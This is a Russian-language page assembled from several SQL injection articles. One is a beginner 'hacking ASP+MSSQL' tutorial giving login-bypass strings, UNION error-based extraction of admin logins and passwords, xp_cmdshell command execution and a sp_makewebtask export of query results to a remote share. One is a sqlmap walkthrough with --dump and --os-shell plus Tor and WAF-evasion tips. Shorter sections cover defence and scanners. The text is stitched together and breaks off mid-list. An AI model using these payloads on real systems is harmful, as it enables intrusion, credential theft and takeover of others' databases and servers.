Sql инъекции что это: SQL injection для начинающих. Часть 1 / Хабр

Содержание

SQL Injection для чайников, взлом ASP+MSSQL

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

Введение

Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection — один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.

д), чем непосредственно на web-сервер или сервисы в ОС.

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection — метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

 2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг «FORM» в исходном коде HTML страниц. Вы найдете, что-то типа такого:

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению SQL кода.

2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

http://securitylab.ru/?ID=31610

3.0. Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi’ or 1=1—

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi’ or 1=1—
Pass: hi’ or 1=1—
http://duck/index.asp?id=hi’ or 1=1—

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value=»hi’ or 1=1— «>

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему ‘ or 1=1—?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ‘ or 1=1— . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index. asp?category=food

В URL, ‘category’ – это имя переменной, и ‘food’ – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request(«category»)

sqlstr=»SELECT * FROM product WHERE PCategory='» & v_cat & «‘»
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory=’food’

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае ‘food’. Теперь изменим URL следующим образом:

http://duck/index.asp?category=food’ or 1=1—
SELECT * FROM product WHERE PCategory=’food’ or 1=1—‘

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен ‘food’ или нет. Двойная черточка «-» сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой (‘). Иногда можно заменить двойную черточку на диез «#».

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

‘ or ‘a’=’a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

‘ or 1=1—
» or 1=1—
or 1=1—
‘ or ‘a’=’a
» or «a»=»a
‘) or (‘a’=’a

4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

‘; exec master. .xp_cmdshell ‘ping 10.10.1.2’ —

Попробуйте использовать двойные кавычки («), если (‘) не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://securitylab.ru/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

‘; EXEC master..sp_makewebtask «\\10.10.1.3\share\output.html», «SELECT * FROM INFORMATION_SCHEMA.TABLES»

Указываемый IP должен иметь папку «share» с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы — «table1».

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)—

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int. /index.asp, line 5

Соответствующая конструкция ‘%25login%25’ будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию «admin_login».

6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index. asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. «password», «details», пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы «admin_login»:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему «neo». Наконец, мы можем получить пароль «neo»:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’—

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как «neo» с паролем ‘m4trix’.

6.3 Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0…9). Сейчас мы опишем получение пароля «31173» у пользователя «trinity»:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’—

Мы вероятно получим ошибку «Page Not Found». Причина в том, что пароль «31173» будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’—

Мы просто используем знак «плюс» (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для ‘+’ = 0x2b). Затем, мы добавим в конец ‘%20morpheus’ в фактический пароль. Поэтому, даже если значение пароля ‘31173’, он станет ‘31173 morpheus’. Вручную вызывая функцию convert(), пытаясь преобразовать ‘ 31173 morpheus’ в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как «trinity» с паролем ‘31173’.

7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для «neo»:

http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5’ WHERE login_name=’neo—

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)—

Теперь мы сможем войти в систему как «neo» с паролем ‘newpas5’.

8.0 Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

— любых данных, вводимых пользователем
— URL параметрах
— Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Использование SQLMap | DefconRU

SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.

На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP-10» возглавляют именно SQL инъекции.

Существует 5 основных причин возникновения этой уязвимости:

  1. Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
  2. Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
  3. Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
  4. Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
  5. Отсутствие должного уровня абстрагированности исполняемого кода от данных.

Типы SQL инъекций.

Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap:

  1. Boolean Based Blind SQL Injection
    • Метод, при котором HTTP-запросы и ответы считываются посимвольно для обнаружения уязвимости.
    • Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
    • SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
    • SQLMap использует алгоритм деления пополам (bisectional algorithm) для выборки каждого символа ответа с использованием максимум семи HTTP-запросов.
    • Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
    • SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
    • Использует тот же алгоритм bisectional algorithm, чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
  3. Error-Based SQL Injection
    • SQLMap использует операторы SQL, которые могут спровоцировать генерацию специфической ошибки.
    • Утилита ищет ошибки в HTTP-ответе сервера.
    • Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
  4. UNION Query
    • Вводимый SQL оператор UNION ALL SELECT.
    • SQL-инъекция, основанная на запросах UNION, работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
    • В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
  5. Stacked Query
    • Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
    • Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
  6. Out-Of-Band
    • В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
    • Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.

Базовое использование SQLMap.

Запуск утилиты (должна находиться в переменной PATH):

$ sqlmap

Или из директории утилиты:

$ python sqlmap.py

Для вызова документации используется ключ «-h / —help»:

$ sqlmap --help

$ python sqlmap. py –help

Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:

  • Перечислить информацию о базе данных, такую как имя, версию и другие детали.
  • Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
  • Выбрать таблицу и перечислить информацию о столбцах.
  • Выбрать столбец и перечислить строки для извлечения их значений.
  • Дальнейшая эксплуатация.

Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).

DVWAэто свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL, предназначенное для тренировки навыков пентеста.

Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP-10.

P.S.: Эта практика подразумевает наличие у вас знания основ Linux, начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).

Установка:

  • Скачиваем приложение и следуем инструкциям;
  • Меняем уровень сложности на LOW;
  • Интересуемся только вкладками “SQL Injection”;

Начальные данные:

  • Веб сервер в приватной сети
  • Уязвимый URL: http://yourhost.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Уязвимый параметр: id

Итак, приступим:

  1. Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Пояснение к команде:

— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “-uбез знака равенства.

— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • Приложение уязвимо к SQL инъекции
  • Тип инъекции – UNION Query
  • Back-end база данных(DBMS) – MySQL5
  • Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Пояснение к команде:

—dbs – ключ для перечисления имеющихся баз данных.

Вывод:

Анализ: SQLMap перечислил доступные базы данных (всего 7).

 

  1. Перечисляем названия таблиц (бд — dvwa):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Пояснение к команде:

—D – Указываем интересующую нас базу данных.

—tables – Перечисляем имеющиеся таблицы в бд.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa.

  1. Дальнейшее перечисление названий столбцов таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Пояснение к команде:

—T – Указываем интересующую нас таблицу.

—columns – Перечисляем имеющиеся колонки в таблице.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users, бд dvwa.

  1. Перечисляем/вытягиваем значения из таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump


Пояснение к команде:

-С – Указываем интересующие нас столбцы.

—dump – Вытягиваем значения из перечисленных столбцов.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
  • Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
  • В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
  • Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
  1. Дальнейшая эксплуатация и захват сервера (ASP, не входит в состав DVWA):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснение к команде:

—data – Указываем параметры для тестирования, передающиеся в POST запросе.

—os—shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator).
  • После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
  • «xp_cmdshell» используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.

Преимущества получения более глубокого уровня доступа к системе:

  • Доступ к учетным данным пользователя или хэшам паролей.
  • Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
  • Запуск осевых команд (ОS) для изучения внутренней сети.
  • Возможность загрузки малвари.
  • Дальнейшая эксплуатация с помощью Metasploit Framework.
  • Создание и залив бэк-доров.
  1.  SQLMap и SOAP (Simple Object Access Protocol) запросы: Процесс анализа запросов SOAP довольно прост:
    • Захват вашего SOAP-запроса.
    • Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
    • Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p <vulnerable parameter>
    • SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
  1. SQLMap и JSON (JavaScript Object Notation) запросы: В аналогичных сценариях использования SQLMap для SOAP-запросов, JSON-запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON, SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
  2. SQLMap и прокси-сервер: Корпоративные типы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://<proxy-ip>:<proxy-port>
  1. SQLMap и WAF (Web Application Firewall): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap. Для этого существует функция “tamper—script”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF’ом.
  2. SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
    • torпереключение утилиты в режим использования TOR-прокси.
    • tortypeручная настройка протокола TOR-прокси (HTTP/SOCKS4/4a/5).
    • checktorпроверка работоспособности TOR-прокси

Тестирование безопасности: SQL-инъекции | Бесплатные онлайн-курсы от компании QATestLab

В данной статье разберемся с основными понятиями SQL-инъекций, рассмотрим некоторые часто встречающиеся примеры, объясним как находить и использовать различные виды уязвимостей, а также в нескольких словах изложим, как предотвратить ввод SQL кода.

Основные понятия

Инъекции кода (Code injections), (SQL, PHP, ASP и т.д.) – это вид уязвимости, с которой появляется вероятность запустить на исполнение код с целью получения доступа к ресурсам системы, взлома личных данных или повреждения программного обеспечения.

SQL-инъекция (Structured Query Language Injection) – это один из самых часто используемых способов взлома продуктов, взаимодействующих с базами данных. Суть таких инъекций – внедрить в данные (передаваемые через GET, POST запросы) любой случайный SQL код. Если ресурс принимает и выполняет такие инъекции, значит он уязвим, и, по сути, с базой данных можно поступать как угодно.

Причины внедрения

Уязвимости внедрения SQL возникают после того, как контролируемые пользователем данные небезопасным способом включаются в запросы к базе данных. Злоумышленник может предоставить специально созданный ввод, чтобы вырваться из контекста данных, в котором они отображаются и вмешаться в структуру окружающего запроса.

Внедрение SQL часто может быть выполнено с помощью целого ряда вредоносных атак, включая чтение или изменение критически важных данных приложения, вмешательство в логику приложения, повышение привилегий в базе данных и получение контроля над сервером базы данных.

Каково влияние успешной атаки SQL-инъекцией?

Успешная атака с использованием SQL-инъекций может привести к несанкционированному доступу к конфиденциальным данным (например, пароли, данные кредитной карты или другие личные данные пользователя). В последние годы многие громкие утечки данных стали результатом атак с использованием именно SQL-инъекций, что привело к ущербу для репутации и штрафам со стороны регулирующих органов. В некоторых случаях злоумышленник может получить постоянный канал в системы организации, что приведет к долгосрочной уязвимости, которая может оставаться незамеченной в течение длительного периода.

Некоторые часто встречаемые примеры внедрения SQL:

  • получение скрытых данных, где запрос SQL изменяется с целью получения дополнительных результатов;
  • подрыв логики приложения, где изменяется запрос, чтобы мешать логике приложения;
  • UNION атаки, где можно получить данные из разных таблиц базы данных;
  • изучение базы данных, где извлекается информация о версии и структуре базы данных;
  • слепое внедрение SQL, когда результаты запроса не возвращаются в ответах приложения.

На основе UNION атаки разберем конкретный пример.

Данный тип атаки возможен в тех случаях, когда результаты SQL запроса возвращаются в ответах приложения. Злоумышленник, используя внедрения SQL, может извлечь дополнительные данные из других таблиц в базе данных. Оператор UNION позволяет выполнить дополнительный запрос SELECT и добавить результаты в исходный запрос.

Например, приложение выполняет запрос на получение информации о доступных подарочных картах в разделе «Gifts»:

SELECT name, description FROM products WHERE category = ‘Gifts’

Злоумышленник добавляет дополнительный запрос для получения пользовательских данных:

‘UNION SELECT username, password FROM users—

Сервер приложения обрабатывает запрос и отправляет в базу данных уже вот такой запрос: 

SELECT name, description FROM products WHERE category = ‘Gifts’ UNION SELECT username, password FROM users—

В результате чего злоумышленник получит не только название и описание продуктов, но и вместе с этим информацию об именах и паролях пользователей сайта или приложения.

Большинство уязвимостей SQL-инъекций можно быстро и надежно выявить с помощью разных сканеров веб-уязвимостей (например: Burp Suite, OWASP ZAP).

Внедрение SQL также можно обнаружить вручную, используя систематический набор тестов для каждой точки входа в приложение. Как правило, это включает в себя:

  • отправка символа одинарной кавычки ‘ и поиск ошибок или других аномалий;
  • отправка некоторых специфичных для SQL синтаксисов, которые оценивают базовые значения точки входа и поиск систематических различий в полученных ответах приложения;
  • отправка логических условий, таких как OR 1 = 1 и OR 1 = 2, и поиск различий в ответах приложения;
  • отправка полезных данных, предназначенных для запуска временных задержек при выполнении в запросе SQL, и поиск различий во времени, необходимого для ответа.

Способы защиты от SQL-инъекций

Избежать возможности подобных проблем довольно просто. Достаточно просто проверять данные содержащиеся в запросах несложным обработчиком. Следует отделять данные от команд и запросов, для этого существует несколько способов:

  1. Использование безопасного API, который исключает применение интерпретатора или предоставляющий параметризованный интерфейс. Можно использовать инструменты объектно-реляционного отображения (ORM).
  2. Реализация белых списков на сервере с целью проверки входящих данных. Конечно, данный метод не обеспечит полную защиту, поскольку многие приложения используют спецсимволы (например, в текстовых областях или API для мобильных приложений).
  3. Следует также внедрить экранирование спецсимволов для остальных динамических запросов, используя соответствующий интерпретатору синтаксис. Примечание: элементы SQL структуры, такие как названия таблиц или столбцов, нельзя экранировать, поэтому предоставляемые пользователями названия представляют опасность. Это частая проблема платформ для составления отчетов.
  4. Используйте в запросах элементы управления SQL для предотвращения утечек данных.

Абсолютно безопасных систем не существует, можно лишь снизить вероятность взлома. Для предотвращения инъекций, необходимо тщательно проверять полученные параметры от пользователя любыми доступными способами. Можно даже попробовать взломать собственный сайт, чтобы узнать, какие у него есть уязвимости: ввести инъекции, изменить тип данных, добавить в поля знаки экранирования, загрузить на сайт файл .php с вредоносным кодом и тому подобное. Лучше сделать это самостоятельно и предотвратить взлом, пока кто-то не сработал на опережение.

Как найти уязвимость к SQL-инъекции – Information Security Squad

Протестируйте свой веб-сайт на атаку с использованием SQL инъекции и препятствуйте тому, чтобы он был взломан.

SQLi (Инъекция SQL) является старым методом, где хакер выполняет вредоносные SQL-операторы, чтобы завладеть веб-сайтом.

SQLi может быть опасным, поскольку она может использоваться, чтобы украсть уязвимую информацию, такую как как кредитная карта, пароль, и т.д.

Начиная с SQL (Язык структурированных запросов) база данных поддерживается многими веб-платформами (PHP, WordPress, Joomla, и т.д.), оан может потенциально использоваться для большого количества веб-сайтов.

1. SQL Injection тестирование с использованием  Sqlmap

Онлайн SQLMAP от FPentest identify идентифицируют систему баз данных,и выполняет тестирование на следующие шесть методов инжекции SQL:

  • Time-based blind
  • Error-based
  • UNION query-based
  • Boolean-based blind
  • Stacked queries
  • Out-of-band

2. suIP.biz

Обнаружение уязвимости к SQL инъекции можно выполнить  онайлайн на suIP.biz поддерживающее: MySQl, Oracle, PostgreSQL, Microsoft SQL, IBM DB2, Firebird, Sybase, и т.д.

Оно так же осуществляет сканирование при помощи SQLMap теми же шестью инъекционными методами.

3. Acunetix

Acunetix проверяет ваш веб-сайт  на больше чем 3000 слабых мест, включая инъекцию SQL.

Если вы хотите сжатый просмотр состояния безопасности, то попробуйте Acunetix.

Acunetix обеспечивает подробный отчет, где вы можете отфильтровать параметры риска на основе серьезности, чтобы расположить их по приоритетам.

4. SQL Injection Test Online

Другой онлайновый инструмент Hacker Target на основе SQLMap находит уязвимости, связанные с HTTP-запросом GET.

5. Scan My Server

Scan My Server от Beyond Security является СВОБОДНЫМ сканером и может протестировать ваш веб-сайт на вредоносное программное обеспечение, XSS уязвимости , инъекцию SQL и другие уязвимости.

6. Vega

